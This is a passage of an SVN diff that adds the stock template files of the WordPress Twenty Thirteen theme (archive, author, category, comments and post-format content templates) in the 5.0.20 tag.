+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<header class="page-header">
+				<h1 class="page-title"><?php _e( 'Not Found', 'twentythirteen' ); ?></h1>
+			</header>
+
+			<div class="page-wrapper">
+				<div class="page-content">
+					<h2><?php _e( 'This is somewhat embarrassing, isn&rsquo;t it?', 'twentythirteen' ); ?></h2>
+					<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentythirteen' ); ?></p>
+
+					<?php get_search_form(); ?>
+				</div><!-- .page-content -->
+			</div><!-- .page-wrapper -->
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/archive.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/archive.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/archive.php	(revision 56912)
@@ -0,0 +1,55 @@
+<?php
+/**
+ * The template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * If you'd like to further customize these archive views, you may create a
+ * new template file for each specific one. For example, Twenty Thirteen
+ * already has tag.php for Tag archives, category.php for Category archives,
+ * and author.php for Author archives.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php
+					if ( is_day() ) :
+						printf( __( 'Daily Archives: %s', 'twentythirteen' ), get_the_date() );
+					elseif ( is_month() ) :
+						printf( __( 'Monthly Archives: %s', 'twentythirteen' ), get_the_date( _x( 'F Y', 'monthly archives date format', 'twentythirteen' ) ) );
+					elseif ( is_year() ) :
+						printf( __( 'Yearly Archives: %s', 'twentythirteen' ), get_the_date( _x( 'Y', 'yearly archives date format', 'twentythirteen' ) ) );
+					else :
+						_e( 'Archives', 'twentythirteen' );
+					endif;
+				?></h1>
+			</header><!-- .archive-header -->
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/author-bio.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/author-bio.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/author-bio.php	(revision 56912)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * The template for displaying Author bios
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<div class="author-info">
+	<div class="author-avatar">
+		<?php
+		/**
+		 * Filter the author bio avatar size.
+		 *
+		 * @since Twenty Thirteen 1.0
+		 *
+		 * @param int $size The avatar height and width size in pixels.
+		 */
+		$author_bio_avatar_size = apply_filters( 'twentythirteen_author_bio_avatar_size', 74 );
+		echo get_avatar( get_the_author_meta( 'user_email' ), $author_bio_avatar_size );
+		?>
+	</div><!-- .author-avatar -->
+	<div class="author-description">
+		<h2 class="author-title"><?php printf( __( 'About %s', 'twentythirteen' ), get_the_author() ); ?></h2>
+		<p class="author-bio">
+			<?php the_author_meta( 'description' ); ?>
+			<a class="author-link" href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+				<?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ), get_the_author() ); ?>
+			</a>
+		</p>
+	</div><!-- .author-description -->
+</div><!-- .author-info -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/author.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/author.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/author.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying Author archive pages
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<?php
+				/*
+				 * Queue the first post, that way we know what author
+				 * we're dealing with (if that is the case).
+				 *
+				 * We reset this later so we can run the loop
+				 * properly with a call to rewind_posts().
+				 */
+				the_post();
+			?>
+
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'All posts by %s', 'twentythirteen' ), '<span class="vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1>
+			</header><!-- .archive-header -->
+
+			<?php
+				/*
+				 * Since we called the_post() above, we need to
+				 * rewind the loop back to the beginning that way
+				 * we can run the loop properly, in full.
+				 */
+				rewind_posts();
+			?>
+
+			<?php if ( get_the_author_meta( 'description' ) ) : ?>
+				<?php get_template_part( 'author-bio' ); ?>
+			<?php endif; ?>
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/category.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/category.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/category.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * The template for displaying Category pages
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Category Archives: %s', 'twentythirteen' ), single_cat_title( '', false ) ); ?></h1>
+
+				<?php if ( category_description() ) : // Show an optional category description ?>
+				<div class="archive-meta"><?php echo category_description(); ?></div>
+				<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/comments.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/comments.php	(revision 56912)
@@ -0,0 +1,59 @@
+<?php
+/**
+ * The template for displaying Comments
+ *
+ * The area of the page that contains comments and the comment form.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+/*
+ * If the current post is protected by a password and the visitor has not yet
+ * entered the password we will return early without loading the comments.
+ */
+if ( post_password_required() )
+	return;
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php if ( have_comments() ) : ?>
+		<h2 class="comments-title">
+			<?php
+				printf( _nx( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'comments title', 'twentythirteen' ),
+					number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' );
+			?>
+		</h2>
+
+		<ol class="comment-list">
+			<?php
+				wp_list_comments( array(
+					'style'       => 'ol',
+					'short_ping'  => true,
+					'avatar_size' => 74,
+				) );
+			?>
+		</ol><!-- .comment-list -->
+
+		<?php
+			// Are there comments to navigate through?
+			if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) :
+		?>
+		<nav class="navigation comment-navigation" role="navigation">
+			<h1 class="screen-reader-text section-heading"><?php _e( 'Comment navigation', 'twentythirteen' ); ?></h1>
+			<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentythirteen' ) ); ?></div>
+			<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentythirteen' ) ); ?></div>
+		</nav><!-- .comment-navigation -->
+		<?php endif; // Check for comment navigation ?>
+
+		<?php if ( ! comments_open() && get_comments_number() ) : ?>
+		<p class="no-comments"><?php _e( 'Comments are closed.' , 'twentythirteen' ); ?></p>
+		<?php endif; ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- #comments -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-aside.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-aside.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-aside.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * The template for displaying posts in the Aside post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php if ( is_single() ) : ?>
+			<?php twentythirteen_entry_meta(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+			<?php if ( get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+				<?php get_template_part( 'author-bio' ); ?>
+			<?php endif; ?>
+
+		<?php else : ?>
+			<?php twentythirteen_entry_date(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+		<?php endif; // is_single() ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-audio.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-audio.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-audio.php	(revision 56912)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * The template for displaying posts in the Audio post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<div class="audio-content">
+			<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+		</div><!-- .audio-content -->
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-chat.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-chat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-chat.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * The template for displaying posts in the Chat post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-gallery.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-gallery.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-gallery.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * The template for displaying posts in the Gallery post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php if ( is_single() || ! get_post_gallery() ) : ?>
+			<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+		<?php else : ?>
+			<?php echo get_post_gallery(); ?>
+		<?php endif; // is_single() ?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+
+		<?php if ( comments_open() && ! is_single() ) : ?>
+		<span class="comments-link">
+			<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+		</span><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-image.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * The template for displaying posts in the Image post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+
+		<?php if ( comments_open() && ! is_single() ) : ?>
+		<span class="comments-link">
+			<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+		</span><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-link.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-link.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-link.php	(revision 56912)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * The template for displaying posts in the Link post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<h1 class="entry-title">
+			<a href="<?php echo esc_url( twentythirteen_get_link_url() ); ?>"><?php the_title(); ?></a>
+		</h1>
+
+		<div class="entry-meta">
+			<?php twentythirteen_entry_date(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php if ( is_single() ) : ?>
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+		<?php if ( get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+	<?php endif; // is_single() ?>
+</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-none.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-none.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-none.php	(revision 56912)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * The template for displaying a "No posts found" message
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<header class="page-header">
+	<h1 class="page-title"><?php _e( 'Nothing Found', 'twentythirteen' ); ?></h1>
+</header>
+
+<div class="page-content">
+	<?php if ( is_home() && current_user_can( 'publish_posts' ) ) : ?>
+
+	<p><?php printf( __( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'twentythirteen' ), admin_url( 'post-new.php' ) ); ?></p>
+
+	<?php elseif ( is_search() ) : ?>
+
+	<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with different keywords.', 'twentythirteen' ); ?></p>
+	<?php get_search_form(); ?>
+
+	<?php else : ?>
+
+	<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentythirteen' ); ?></p>
+	<?php get_search_form(); ?>
+
+	<?php endif; ?>
+</div><!-- .page-content -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-quote.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-quote.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-quote.php	(revision 56912)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * The template for displaying posts in the Quote post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+
+		<?php if ( comments_open() && ! is_single() ) : ?>
+		<span class="comments-link">
+			<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+		</span><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-status.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-status.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-status.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * The template for displaying posts in the Status post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content-video.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content-video.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content-video.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * The template for displaying posts in the Video post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+
+		<?php if ( comments_open() && ! is_single() ) : ?>
+		<span class="comments-link">
+			<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+		</span><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/content.php	(revision 56912)
@@ -0,0 +1,64 @@
+<?php
+/**
+ * The default template for displaying content
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( has_post_thumbnail() && ! post_password_required() && ! is_attachment() ) : ?>
+		<div class="entry-thumbnail">
+			<?php the_post_thumbnail(); ?>
+		</div>
+		<?php endif; ?>
+
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+
+		<div class="entry-meta">
+			<?php twentythirteen_entry_meta(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+	<div class="entry-summary">
+		<?php the_excerpt(); ?>
+	</div><!-- .entry-summary -->
+	<?php else : ?>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+	<?php endif; ?>
+
+	<footer class="entry-meta">
+		<?php if ( comments_open() && ! is_single() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+			</div><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
